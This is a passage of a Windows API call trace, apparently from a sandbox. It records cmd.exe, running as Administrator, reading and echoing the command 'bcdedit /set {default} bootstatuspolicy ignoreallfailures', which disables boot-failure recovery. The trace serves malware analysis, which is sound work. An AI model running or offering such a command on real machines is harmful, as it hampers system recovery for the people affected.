lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c74, cchWideChar=1 | out: lpWideCharStr="o\n") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.802] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c76, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.802] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c78, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.802] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.802] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7c, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.802] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c7e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.802] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.802] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.802] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c80, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0130.802] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c82, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c84, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c88, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c8a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c8c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c8e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0130.803] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.803] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.803] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.803] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c90, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c92, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c94, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c96, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c98, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c9a, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c9c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.804] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c9e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0130.804] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.804] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.804] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.805] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43ca0, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0130.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.805] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0130.805] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43ca2, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0130.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.805] GetFileType (hFile=0x248) returned 0x3 [0130.805] _get_osfhandle (_FileHandle=0) returned 0x248 [0130.805] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.805] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.805] GetFileType (hFile=0x254) returned 0x3 [0130.805] _get_osfhandle (_FileHandle=1) returned 0x254 [0130.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcdedit /set {default} bootstatuspolicy ignoreallfailures\n", lpUsedDefaultChar=0x0) returned 59 [0130.805] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x158ecffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecffbe8*=0x3a, lpOverlapped=0x0) returned 1 [0130.805] GetProcessHeap () returned 0x20992a60000 [0130.805] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x4012) returned 0x20992a68da0 [0130.805] GetProcessHeap () returned 0x20992a60000 [0130.805] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0130.806] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0130.806] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0130.806] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0130.806] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0130.806] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0130.806] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0130.806] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0130.806] GetProcessHeap () returned 0x20992a60000 [0130.806] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xb0) returned 0x20992a66910 [0130.806] GetProcessHeap () returned 0x20992a60000 [0130.806] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x20) returned 0x20992a65da0 [0130.807] GetProcessHeap () returned 0x20992a60000 [0130.807] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x76) returned 0x20992a669d0 [0130.807] GetConsoleOutputCP () returned 0x1b5 [0130.807] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0130.807] SetThreadUILanguage (LangId=0x0) returned 0x409 [0130.808] GetConsoleTitleW (in: lpConsoleTitle=0x158ecffa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0130.808] malloc (_Size=0xffce) returned 0x20992c50840 [0130.808] ??_V@YAXPEAX@Z () returned 0x20992c50840 [0130.808] malloc (_Size=0xffce) returned 0x20992c60820 [0130.808] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0130.808] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0130.808] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0130.808] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0130.808] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0130.808] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0130.808] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0130.808] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0130.808] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0130.808] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0130.808] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0130.808] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0130.808] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0130.808] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0130.808] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0130.808] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0130.808] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0130.808] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0130.808] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0130.808] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0130.808] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0130.808] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0130.808] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0130.808] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0130.809] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0130.809] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0130.809] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0130.809] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0130.809] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0130.809] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0130.809] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0130.809] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0130.809] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0130.809] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0130.809] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0130.809] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0130.809] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0130.809] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0130.809] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0130.809] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0130.809] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0130.809] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0130.809] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0130.809] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0130.809] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0130.809] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0130.809] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0130.809] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0130.809] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0130.809] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0130.809] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0130.809] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0130.809] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0130.809] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0130.809] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0130.809] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0130.809] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0130.809] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0130.809] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0130.809] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0130.810] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0130.810] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0130.810] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0130.810] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0130.810] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0130.810] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0130.810] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0130.810] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0130.810] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0130.810] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0130.810] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0130.810] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0130.810] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0130.810] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0130.810] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0130.810] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0130.810] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0130.810] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0130.810] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0130.810] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0130.810] ??_V@YAXPEAX@Z () returned 0x1 [0130.810] GetProcessHeap () returned 0x20992a60000 [0130.810] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xffde) returned 0x20992a68da0 [0130.811] GetProcessHeap () returned 0x20992a60000 [0130.811] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x86) returned 0x20992a66a50 [0130.811] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0130.811] malloc (_Size=0xffce) returned 0x20992c60820 [0130.811] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0130.811] GetProcessHeap () returned 0x20992a60000 [0130.811] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1ffac) returned 0x20992a7c100 [0130.813] SetErrorMode (uMode=0x0) returned 0x0 [0130.813] SetErrorMode (uMode=0x1) returned 0x0 